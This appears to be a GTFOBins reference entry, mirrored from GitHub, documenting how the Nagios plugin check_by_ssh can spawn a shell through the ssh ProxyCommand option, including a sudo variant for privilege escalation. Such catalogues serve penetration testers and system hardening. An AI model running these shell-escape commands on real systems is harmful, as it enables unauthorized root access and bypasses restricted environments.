mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 22:40:10 +01:00
12 lines
448 B
Markdown
12 lines
448 B
Markdown
---
|
|
description: |
|
|
This is the `check_by_ssh` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`.
|
|
functions:
|
|
shell:
|
|
- description: The shell will only last 10 seconds.
|
|
code: check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
|
|
sudo:
|
|
- description: The shell will only last 10 seconds.
|
|
code: sudo check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C xx
|
|
---
|